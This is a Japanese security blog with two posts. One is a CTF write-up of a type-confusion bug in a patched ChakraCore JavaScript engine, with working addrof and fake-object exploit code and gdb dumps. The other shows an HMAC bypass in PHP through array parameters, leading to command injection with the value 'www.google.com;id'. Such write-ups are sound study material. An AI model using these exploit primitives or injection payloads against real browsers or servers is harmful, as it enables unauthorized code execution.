Goyotanの電脳_1

書いていく

所感 of Javascript-Engine Exploitation (Vulnerability編)

> お気持ち

こんにちは。GitHub-Pagesは作ったはいいけど、結局はてなで書く:bow:

大学生って想像以上に大変ですね。あと1年が早すぎる。

久しぶりの投稿です。お手柔らかにお願いします👊

> 概要

様々なモノのExploitationを調べていて、最近はVM Escape, Kernel Exploitation, Browser Exploitation, Fuzzing等の勉強をしている。

その中でもここ最近はBrowser Exploitationについて調べていたので、outputとして本記事を書いていこうと思う。

この分野は初めてなので、Vulnerability編とExploitation編に分けて自分の頭を整理していく。


> Web Browser

ブラウザは構造は簡単に、Rendering EngineとJavaScripit Engineに分かれる。

各主要ブラウザはこんな感じ。

f:id:Goyotan:20181224173546p:plain

> Architecture

ここでEdgeのアーキテクチャ図を見てみる。

※ChakraCoreはEdgeからピュアなJS Engineとして分けられている。

https://github.com/Microsoft/ChakraCore/wiki/images/chakracore_componentization.png

ChakraCoreはWindows, Linux, Macでビルドすることができ、簡単に利用することができる。

コマンドラインでChakraCore本体に.jsファイルを渡すと、JSを実行してくれる。

詳しくはGithubを見てほしい。

github.com

> How Works

処理の流れを簡単に示す。

  1. Parse
  2. Compile
  3. Optimize
  4. Execution
  5. GC

JITコンパイラや最適化エンジンが色々頑張ってくれている。


> Impact

ブラウザには多くの機能があり、大変複雑化している。複雑で巨大なモノは脆弱性が発生する確率は高い。

また、ブラウザは世界中で最も使用されているプログラムと言っても過言ではない。つまりは、ブラウザの脆弱性は広い範囲に影響する。

> Vulnerabilities

MS Edgeについて直近3年間の脆弱性について調べた。

この辺りは追記予定。


> PlaidCTF 2017 Chakrazy Pwnable600

さて、概要は何となく理解できた。次は、実際に手を動かして理解を深めようと思う。

しかし、実際のJS EngineをExploitするのは難しいし、そもそもアプローチが分からん分からん。

幸運なことに最近のCTFのPwnable問題ではJS問が出題されていて、Writeupも豊富である。優しい世界。

今回はChakraCoreについて調べていたこともあったので、この問題を理解していく。

配布物は以下の通り。

  • ch // executable file
  • libChakraCore.so // shared library
  • changes.diff // a vulnerable patch

> Environment

配布物として実行ファイルがあるが、デバッグをしやすくするため脆弱なパッチをあててビルドしている。

実験環境

  • Ubuntu 16.04 LTS
  • gdb-peda
  • ASLRは無効(利便性)

> Patch

この問題は、ChakraCoreに脆弱なパッチを適用している。

chabges.diffの内容。

複数の部分で変更されているが、脆弱な部分を示す。

diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
             if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
             {
                 spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
-                if (!JavascriptNativeIntArray::Is(pDestArray))
-                {
-                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
-                    return pDestArray;
-                }
-
                 if(!spreadableCheckedAndTrue)
                 {
                     pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);

このパッチから、JavscriptArray.cpp にある Javascript::ConcatIntArgs() 関数を変更していることが分かる。

pDestArrayJavascriptNativeIntArray であるかないかを判定している分岐処理を削除している。

これにより、型チェックが無くなることで後述する Type Confusion脆弱性が発生する要因となる。

> Leaking Address

脆弱なパッチにより、型チェックが無くなったことが分かった。

Exploit Code より、重要な部分を示す。

function addrof_(obj) {
    // addrof() allows to leak the memory location of an object
    // this function uses the bug in JavascriptArray::ConcatIntArgs
    var a = [0, 1, 2];
    var b = [0, 1, 2];

    var cons = new Function();
    cons[Symbol.species] = function() {
        qq = []; // here qq is just a JavascriptNativeIntArray
        return qq;
    }

    // using the species contructor allows us to get a handle on the result array
    // of functions such as map() or concat()
    a.constructor = cons;

    // Here we define a custom getter for the Symbol.isConcatSpreadable property
    // In it we change the type of qq by simply assigning an object to it
    fakeProp = { get: function() {
        b[1] = obj;
        qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
        return true;
    }};

    Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

    // trigger the vulnerability
    var c = a.concat(b);


    return combine(c[0], c[1]); 
}

addrof_関数は、パッチにより発生した脆弱性を利用するものである。機能は、Type ConfusionによりJavascriptオブジェクトのアドレスをリークする。

先述した通り、ConcatIntArgs() が変更されているので var c = a.concat(b); がトリガーとなる。

JSの concat() 関数呼ぶと、JavascriptArray::EntryConcat()が呼ばれる。

その中で、pDestObj = ArraySpeciesCreate(args[0], 0, scriptContext); が呼ばれる。

pDestObj[Symbol.species] を参照する。

このとき、addrof_関数のように JavascriptNativeIntArray(qq) が返るようにすると、pDestObjがそのオブジェクトを指すようになるらしい。

このことにより、パッチを適用された JavascriptArray::ConcatIntArgs() 関数が呼ばれることになる。

if (pDestObj == nullptr || isArray)
        {
            if (isInt)
            {
                JavascriptNativeIntArray *pIntArray = isArray ? JavascriptNativeIntArray::FromVar(pDestObj) : scriptContext->GetLibrary()->CreateNativeIntArray(cDestLength);
                pIntArray->EnsureHead<int32>();
                pDestArray = ConcatIntArgs(pIntArray, remoteTypeIds, args, scriptContext);
            }

pDestArray = ConcatIntArgs(pIntArray, remoteTypeIds, args, scriptContext);ブレークポイントを設定する。

var a = [1,2,3,4];
var b = [8,9];
var c = a.concat(b);

上記のjsを実行する。

  • 結果
gdb-peda$ p pIntArray 
$11 = (Js::JavascriptNativeIntArray *) 0x7ffff03f8150
gdb-peda$ p args
$12 = {
  <Js::Arguments> = {
    Info = {
      Count = 0x2, 
      Flags = Js::CallFlags::CallFlags_Value, 
      unused = 0x0, 
      static ksizeofCount = 0x18, 
      static ksizeofCallFlags = 0x8, 
      static kMaxCountArgs = 0xffffff
    }, 
    Values = 0x7fffffffafb0
  }, <No data fields>}
gdb-peda$ x/10wx 0x7fffffffafb0
0x7fffffffafb0: 0xf03f80e0  0x00007fff  0xf03dc2a0  0x00007fff
0x7fffffffafc0: 0xffffb040  0x00007fff  0xf595b6e1  0x00007fff
0x7fffffffafd0: 0xf03c97c8  0x00007fff
gdb-peda$ x/30wx 0x00007ffff03f80e0
0x7ffff03f80e0: 0xf6480bd0  0x00007fff  0xf0c24f00  0x00007fff
0x7ffff03f80f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f8100: 0x00000004  0x00000000  0xf03f8120  0x00007fff
0x7ffff03f8110: 0xf03f8120  0x00007fff  0xf7e44680  0x00007fff
0x7ffff03f8120: 0x00000000  0x00000004  0x00000006  0x00000000
0x7ffff03f8130: 0x00000000  0x00000000  0x00000001  0x00000002
0x7ffff03f8140: 0x00000003  0x00000004  0x80000002  0x80000002
0x7ffff03f8150: 0xf6480bd0  0x00007fff
gdb-peda$ x/30wx 0x00007ffff03dc2a0
0x7ffff03dc2a0: 0xf6480bd0  0x00007fff  0xf0c24f00  0x00007fff
0x7ffff03dc2b0: 0x00000000  0x00000000  0x00010005  0x00000000
0x7ffff03dc2c0: 0x00000002  0x00000000  0xf03dc2e0  0x00007fff
0x7ffff03dc2d0: 0xf03dc2e0  0x00007fff  0xf7e44680  0x00007fff
0x7ffff03dc2e0: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc2f0: 0x00000000  0x00000000  0x00000008  0x00000009
0x7ffff03dc300: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc310: 0x00000000  0x00000000
gdb-peda$ 

  • pIntArray: 0x7ffff03f8150
  • args: 0x7fffffffafb0
  • args[0]: 0x00007ffff03f80e0 (var a)
  • args[1]: 0x00007ffff03dc2a0 (var b)

ConcatIntArgs() を読み進めていくと、

uint idxDest = 0u;
        for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
        {
            Var aItem = args[idxArg];
            bool spreadableCheckedAndTrue = false;

            if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
            {
                spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
                if (!JavascriptNativeIntArray::Is(pDestArray))
                {
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
                    return pDestArray;
                }

                if(!spreadableCheckedAndTrue)

上記の、spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; がキモとなる。

addrof_関数で fakeProp にgetterを設定しておくことで、IsConcatSpreadable(aItem)が実行されると設定したgetterが呼ばれる。

この時、addrof_関数では JavascriptNativeIntArray としていた qqJavascriptArray にする。

これにより、aItem の型が JavascriptNativeIntArray から JavascriptArray へと変更される。

pDestArrayconcat() 関数の結果を代入するものである。つまり、同様に pDestArray の型も変更される。

この後、aItemJavascriptNativeIntArray かどうかを検討している。

前述の通り、aItem の型は JavascriptArrayに変更されている。

  • JavascriptArray の場合
else
            {
                JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
                ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
                return pVarDestArray;
            }

JavascriptNativeIntArray::ConvertToVarArray 関数の引数を見てみる。

  • JavascriptNativeIntArray *intArray

引数より、ConvertToVarArray() の第1引数の型は JavascriptNativeIntArray である。

前述の通り、pDestArray の型は JavascriptArray である。

従って、Type Confusion が発生する。

この時の状態を見てみる。JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);ブレークポイントを設定し、 実行前と実行後の変化をみる。

  • 実行前
gdb-peda$ p pIntArray 
$5 = (Js::JavascriptNativeIntArray *) 0x7ffff03f81c0
gdb-peda$ c
Continuing.

(snip)

gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d4140  0x00007fff
0x7ffff03f81f0: 0xf03d4140  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d4140
0x7ffff03d4140: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d4150: 0x00000000  0x00000000  0xf03c8680  0x00007fff
0x7ffff03d4160: 0x00000001  0x00010000  0x00000002  0x00010000
0x7ffff03d4170: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4180: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4190: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d41a0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d41b0: 0x80000002  0x80000002
gdb-peda$ 

  • aのアドレスポインタ (0x00007ffff03d4140)
  • a[0] (0x00007ffff03c8680) == leak_obj
  • a[1] (0x00010000000001) == 1
  • a[2] (0x00010000000002) == 2

次に実行後を見てみる。

  • 実行後
gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf03cbdc0  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d41e0  0x00007fff
0x7ffff03f81f0: 0xf03d41e0  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d41e0
0x7ffff03d41e0: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d41f0: 0x00000000  0x00000000  0xf03c8680  0x00010000
0x7ffff03d4200: 0x00007fff  0x00010000  0x00000001  0x00010000
0x7ffff03d4210: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4220: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4230: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4240: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4250: 0x80000002  0x80000002
gdb-peda$
  • aのアドレスポインタ は(0x00007ffff03d41e0) に変更された
  • ポインタ先[0] (0x00010000f03c8680)
  • ポインタ先[1] (0x0001000000007fff)
  • ポインタ先[2] (0x000100000000001)

ConvertToVarArray() 関数は JavasscriptNativeIntArray 型であるとして処理するため、b のデータを4バイトで読みだす。そして、8バイト単位で変換(コピー)する。

c[0], c[1] には、ポインタ先の[0],[1]が入る。つまり、qq に代入されたオブジェクトのアドレスを得ることができる。

実際に以下のjsを使用して、オブジェクトアドレスを得られているか調べる。

function addrof_(obj) {
    // addrof() allows to leak the memory location of an object
    // this function uses the bug in JavascriptArray::ConcatIntArgs
    var a = [0, 1, 2];
    var b = [0, 1, 2];

    var cons = new Function();
    cons[Symbol.species] = function() {
        qq = []; // here qq is just a JavascriptNativeIntArray
        return qq;
    }

    // using the species contructor allows us to get a handle on the result array
    // of functions such as map() or concat()
    a.constructor = cons;

    // Here we define a custom getter for the Symbol.isConcatSpreadable property
    // In it we change the type of qq by simply assigning an object to it
    fakeProp = { get: function() {
        b[1] = {};
        qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray
        return true;
    }};

    Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp);

    // trigger the vulnerability
    var c = a.concat(b);


    return c; 
}


var boyon = new Uint8Array(16);

//console.log(addrof_(Uint32Array));
console.log(addrof_(boyon));

ここでは、boyonUint8Array(16) の領域を確保して、addrof_関数より boyon のオブジェクトアドレスを取得する。

  • 結果
gdb-peda$ x/30wx 0x7ffff03f81c0
0x7ffff03f81c0: 0xf6480840  0x00007fff  0xf03cbe40  0x00007fff
0x7ffff03f81d0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03f81e0: 0x00000003  0x00000000  0xf03d41e0  0x00007fff
0x7ffff03f81f0: 0xf03d41e0  0x00007fff  0x00000000  0x00000000
0x7ffff03f8200: 0x00000000  0x00000003  0x00000006  0x00000000
0x7ffff03f8210: 0x00000000  0x00000000  0x00000000  0x00000001
0x7ffff03f8220: 0x00000002  0x80000002  0x80000002  0x80000002
0x7ffff03f8230: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff03d41e0
0x7ffff03d41e0: 0x00000000  0x00000003  0x00000011  0x00000000
0x7ffff03d41f0: 0x00000000  0x00000000  0xf03c9940  0x00010000
0x7ffff03d4200: 0x00007fff  0x00010000  0x00000001  0x00010000
0x7ffff03d4210: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4220: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4230: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4240: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4250: 0x80000002  0x80000002
gdb-peda$ x/30wx 0x00007ffff03c9940
0x7ffff03c9940: 0xf6463728  0x00007fff  0xf0c25200  0x00007fff
0x7ffff03c9950: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9960: 0x00000010  0x00000000  0xf0c20040  0x00007fff
0x7ffff03c9970: 0x00000001  0x00000000  0x5587d330  0x00005555
0x7ffff03c9980: 0xf647cb00  0x00007fff  0xf0c14450  0x00007fff
0x7ffff03c9990: 0x00000000  0x00000000  0x00000017  0x00000000
0x7ffff03c99a0: 0xf03c99c0  0x00007fff  0x0000000c  0x00000020
0x7ffff03c99b0: 0x00000000  0x00000000
gdb-peda$ x/30wx 0x00007ffff0c25200
0x7ffff0c25200: 0x0000002b  0x00000000  0xf03e0000  0x00007fff
0x7ffff0c25210: 0xf03f4080  0x00007fff  0xf5c30a00  0x00007fff
0x7ffff0c25220: 0x00000000  0x00000000  0xf0c251c0  0x00007fff
0x7ffff0c25230: 0x00000101  0x00000000  0x00000000  0x00000000
0x7ffff0c25240: 0xf64af7d8  0x00007fff  0x00001d11  0x00000000
0x7ffff0c25250: 0x00000001  0x00000000  0xf03f0000  0x00007fff
0x7ffff0c25260: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff0c25270: 0x00000000  0x00000000
gdb-peda$ 

boyon のオブジェクトアドレス (0x00007ffff03c9940) と得た。

データ構造より、オブジェクトタイプのポインタアドレス (0x00007ffff0c25200) を参照する。

上記より、(0x000000000000002b) を得られる。0x2b == 43 なので、 オブジェクトの型情報 より、Uint8Array と分かる。

従って、取得した boyon の オブジェクトアドレス (0x00007ffff03c9940) は正しいと言える。

以上より、Information Leak が可能であることが分かった。

> Faking Object

さて、aItemJavascriptArray の場合は前章で調べた。

次は、aItemJavascriptNativeIntArray の場合を考えてみる。

 if (JavascriptNativeIntArray::Is(aItem)) // Fast path
            {
                JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
                bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
                idxDest = idxDest + pItemArray->length;
                if (converted)
                {
                    // Copying the last array forced a conversion, so switch over to the var version
                    // to finish.
                    ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
                    return pDestArray;
                }
            }

CopyNativeIntArrayElements() 関数の引数定義を見てみる。

  • 第1引数: JavascriptNativeIntArray* dstArray
  • 第2引数: uint32 dstIndex
  • 第3引数: JavascriptNativeIntArray* srcArray
  • 第4引数: uint32 start
  • 第5引数: uint32 en

前述の通り、pDestArray の型は変更することができる。第1引数の dstArray に渡される値は JavascriptNativeIntArrayあるとしている。

従って、Type Cconfusion が発生する。

第3引数: JavascriptNativeIntArray* srcArray から 第1引数: JavascriptNativeIntArray* dstArray へデータがコピーされるということである。

これにより、任意のJavascriptオブジェクトを偽装(追加)することができる。

イメージが掴みにくいので、参考元のコードを用いて検証する。

CopyNativeIntArrayElements() の前後での a の値を見てみる。

function get_addr(target_to_leak)
{
    let a = [1,2,3,4];
    let b = [8,9];
 
    let c = new Function();
    c[Symbol.species] = function() {
        n = [7,7];            
        return n;
    };
    a.constructor = c; // return array n
 
    b.__defineGetter__(Symbol.isConcatSpreadable, () => {
        n[0] = target_to_leak;
        b[0] = {};
        return true;    
    });
 
    let r = a.concat(b);                 
    return [ r[0], r[1] ]   // low, high == 0xD36DC0A0, 0x00000125
}
 
// leak
//var myArr = new Array(1,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0);  
var myArr = new Uint8Array(16);
//console.log(get_addr(myArr));
var [ lo, hi ] = get_addr(myArr);  // 0xD36DC0A0, 0x00000125
 
// 특정 주소에 있는 객체를 반환 
var a = [];
var b = [ lo, hi ];
//console.log(b);
 
var c = new Function();
c[Symbol.species] = function() {
    n = [7,7];            
    return n;
};
a.constructor = c; // return array n
 
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
    n[0] = {};
    return true;    
});
 
let r = a.concat(b);                 
 
// r[0] == myArr
// result: items of r[0]
console.log(r[0])

  • 実行前
Thread 1 "ch" hit Breakpoint 1, Js::JavascriptArray::ConcatIntArgs (
    pDestArray=0x7ffff03dc7e0, remoteTypeIds=0x7fffffffae10, args=..., 
    scriptContext=0x555555872660)
    at /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp:3170
3170    in /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp
gdb-peda$ p pDestArray 
$20 = (Js::JavascriptNativeIntArray *) 0x7ffff03dc7e0
gdb-peda$ 
$21 = (Js::JavascriptNativeIntArray *) 0x7ffff03dc7e0
gdb-peda$ cx/30wx 0x7ffff03dc7e0
Undefined command: "cx".  Try "help".
gdb-peda$ x/30wx 0x7ffff03dc7e0
0x7ffff03dc7e0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03dc7f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03dc800: 0x00000002  0x00000000  0xf03d4280  0x00007fff
0x7ffff03dc810: 0xf03d4280  0x00007fff  0x00000000  0x00000000
0x7ffff03dc820: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc830: 0x00000000  0x00000000  0x00000007  0x00000007
0x7ffff03dc840: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc850: 0x00000000  0x00000000
gdb-peda$ x/40wx 0x00007ffff03d4280
0x7ffff03d4280: 0x00000000  0x00000002  0x00000011  0x00000000
0x7ffff03d4290: 0x00000000  0x00000000  0xf03f56a0  0x00007fff
0x7ffff03d42a0: 0x00000007  0x00010000  0x80000002  0x80000002
0x7ffff03d42b0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42c0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42d0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42e0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42f0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4300: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4310: 0x80000002  0x80000002  0x80000002  0x80000002
gdb-peda$ c
Continuing.
  • pDestArray (0x7ffff03dc7e0)
  • var aの配列アドレス (0x00007ffff03d4280)

この時、var a の配列の中には 0x00007ffff03f56a0 というアドレスがある。

次は実行後を見てみる。

  • 実行後
Thread 1 "ch" hit Breakpoint 2, Js::JavascriptArray::ConcatIntArgs (
    pDestArray=0x7ffff03dc7e0, remoteTypeIds=0x7fffffffae10, args=..., 
    scriptContext=0x555555872660)
    at /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp:3171
3171    in /home/goyotan/ChakraCore/lib/Runtime/Library/JavascriptArray.cpp
gdb-peda$ x/30wx 0x7ffff03dc7e0
0x7ffff03dc7e0: 0xf6480840  0x00007fff  0xf0c24e80  0x00007fff
0x7ffff03dc7f0: 0x00000000  0x00000000  0x00000005  0x00000000
0x7ffff03dc800: 0x00000002  0x00000000  0xf03d4280  0x00007fff
0x7ffff03dc810: 0xf03d4280  0x00007fff  0x00000000  0x00000000
0x7ffff03dc820: 0x00000000  0x00000002  0x00000002  0x00000000
0x7ffff03dc830: 0x00000000  0x00000000  0x00000007  0x00000007
0x7ffff03dc840: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03dc850: 0x00000000  0x00000000
gdb-peda$ x/40wx 0x00007ffff03d4280
0x7ffff03d4280: 0x00000000  0x00000002  0x00000011  0x00000000
0x7ffff03d4290: 0x00000000  0x00000000  0xf03c9ac0  0x00007fff
0x7ffff03d42a0: 0x00000007  0x00010000  0x80000002  0x80000002
0x7ffff03d42b0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42c0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42d0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42e0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d42f0: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4300: 0x80000002  0x80000002  0x80000002  0x80000002
0x7ffff03d4310: 0x80000002  0x80000002  0x80000002  0x80000002
gdb-peda$ x/40wx 0x00007ffff03c9ac0
0x7ffff03c9ac0: 0xf6463728  0x00007fff  0xf0c25200  0x00007fff
0x7ffff03c9ad0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9ae0: 0x00000010  0x00000000  0xf0c20040  0x00007fff
0x7ffff03c9af0: 0x00000001  0x00000000  0x5587d060  0x00005555
0x7ffff03c9b00: 0xf647cb00  0x00007fff  0xf0c14450  0x00007fff
0x7ffff03c9b10: 0x00000000  0x00000000  0x00000017  0x00000000
0x7ffff03c9b20: 0xf03c9b40  0x00007fff  0x0000000c  0x00000020
0x7ffff03c9b30: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff03c9b40: 0xf03f4d80  0x00007fff  0xf0c14d20  0x00007fff
0x7ffff03c9b50: 0xf03f4da0  0x00007fff  0xf03f4dc0  0x00007fff
gdb-peda$ x/30wx 0x00007ffff0c25200
0x7ffff0c25200: 0x0000002b  0x00000000  0xf03e0000  0x00007fff
0x7ffff0c25210: 0xf03f4080  0x00007fff  0xf5c30a00  0x00007fff
0x7ffff0c25220: 0x00000000  0x00000000  0xf0c251c0  0x00007fff
0x7ffff0c25230: 0x00000101  0x00000000  0x00000000  0x00000000
0x7ffff0c25240: 0xf64af7d8  0x00007fff  0x00001d11  0x00000000
0x7ffff0c25250: 0x00000001  0x00000000  0xf03f0000  0x00007fff
0x7ffff0c25260: 0x00000000  0x00000000  0x00000000  0x00000000
0x7ffff0c25270: 0x00000000  0x00000000
gdb-peda$ 
  • pDestArray (0x7ffff03dc7e0)
  • var aの配列アドレス (0x00007ffff03d4280)

var a の配列の中にあった 0x00007ffff03f56a0 というアドレスが、0x00007ffff03c9ac0 というアドレスに変わっている。 そのアドレスはJavascriptオブジェクトを示している。

データ構造より、オブジェクトタイプのポインタアドレス 0x00007ffff0c25200 を参照してみると、0x2b があった。

したがって、a の中に偽装したUint8Array(16) オブジェクトが作成されていることが確認できる。


> Vulnerability編のまとめ

  • Type Confusionの脆弱性により、Information Leakオブジェクトの偽装 ができる

Javascriptを用いてのExploitationは漠然としたイメージはなく、具体的なアプローチ方法は分からなかった。

しかし、writeupを読みながら手を動かしているとなんとなく理解できた。

Exploitation編も非常に勉強になったので、次の記事でまとめたい。


> 参考文献

bruce30262.github.io

gist.github.com @edgarboda氏が記述したExploitコード

spff.tistory.com

charo-it.hatenablog.jp @Charo_IT氏がタイミングよく分かりやすい資料を出していたので大変参考になった。

What is the deadly bug here?

個人的に面白いなと思ったPHPコードがあるので、頑張って読み解いて実際に試してみようと思います。

PHPはあまり詳しくないので、勉強になりました。

 

 ツイートの写真のコードには致命的なバグがあって、それは何かという問題です。

 

#大体の処理フロー

1, POSTパラメータでhmachostがセットされていなければ400 Bad Requestを返します。

2, $secret変数にgetenv()関数を使い、Apache環境変数の'SECRET'をセットします。「Apache環境変数はphpinfo();で全て見ることが可能です。」

 3, POSTパラメータnonceがセットされている場合、$secret変数にhash_hmac()関数を使い値をセットしていきます。

4,$hmac変数にもhash_hmac()関数を使い値をセットします。

この時、nonceパラメータが設定されていないと3の処理を行いません。従ってその場合はApache環境変数が使われます。

5, 計算された$hmac変数とPOSTパラメータhmacが異なる場合、403 Forbiddenを返します。

6, 5の式がtrueに評価されたらOSコマンドhostと、POSTパラメータhostを結合し、exec()関数で実行・表示します。

 

つまり、最初のにPOSTするパラメータhmacにセットされるハッシュ文字列と内部でゴニョゴニョ計算された変数$hmacが同じであれば、exec()関数を実行するということになります。 

 

#今回のゴール

全ての分岐正常に通れば、ユーザがパラメータ$hostにセットした値がそのままexecに渡ります。この時 www.google.com;id というようにセットすると、コマンドインジェクションすることが可能です。

 

#やっていく

処理5をいかにしてtrue評価させるかです。hash_hmac関数のある挙動を用いると、式を上手くコントロールすることができます。

 

最初にhash_hmacの仕様を見てみましょう!

PHP: hash_hmac - Manual

・パラメータ

string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] )

今回は$algo,string $data, string $keyの3つとなります。

・返り値

raw_output が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。 algo が未知の場合は FALSE を返します。 

 チョット分かりにくいですが、raw_output=trueの設定をしていないので今回は計算結果が出てくるということは分かります。

 

次に、PHPの対話シェルを使い挙動を確認していきます。

php > echo hash_hmac('sha256','NyanNyan','12345');

設定は$algo = 'sha256' , $data = 'NyanNyan' , $key = '12345'です。

結果は以下の文字列がでてきました。
690908c6dedadb4d9d5427cb84e8a8307863a82ddb7d3df84c16bc3a6fb8760b

 基本的な挙動は確認できました。

それでは、今回のキモです。$dataの引数に対し、配列を設定するとNULLが返るというものです。

こちらの動作も確認していきます。

php > echo gettype(hash_hmac('sha256',array(1),'12345'));

gettype()関数を使い、計算結果の型を確認してみます。
PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
NULL

確かにエラーの後に戻り値がNULLとなっていますね!

従って処理3の時、パラメータnonceを配列としてPOSTすれば$secret変数にはNULLがセットされることになります。

この挙動は先ほどの関数の説明を見ても分からん~~~

それでは続きを見ていきましょう!

処理4の時はどうなるでしょうか?

$secretにはNULLがセットされていますね。

つまり、

$hmac = hash_hmac('sha256',$_POST['host'],NULL)

 となります。

挙動を確認してみましょう。

php > echo hash_hmac('sha256','www.google.com',NULL);

hostには'www.google.com'をセットしています。

計算結果は次になります。

7f67e6bc0b34baaa5714d03b8776c1781bfca4a9513c7e90f92ca770fbfa3abd

ということは、式をコントロールできた事になりますね!?

 

さて、実際にシステムに対して実行してみましょう!

それぞれのパラメータは以下の通りです。

hmac'7f67e6bc0b34baaa5714d03b8776c1781bfca4a9513c7e90f92ca770fbfa3abd';

host = 'www.google.com';

nonce = 1; //適当な値もしくは空でOK

以下リクエストとレスポンスの結果です。

f:id:Goyotan:20180129234635p:plain

見事にexec()まで到達することができましたね!

 

#EXPLOOOOOOOIT!!!!

それでは最後にコマンドインジェクションにより、OSに対して攻撃を行いたいと思います。hmachostを再計算、値のセットしていきます。

パラメータは以下の通りです。

hmac = 'a5a3560643e1ecd566cff4e117a466cb621ddb852b2e826c720637344433a763';

host = 'www.google.com;id'; //Injected

nonce = 1; //適当な値もしくは空でOK

以下リクエストとレスポンスの結果です。

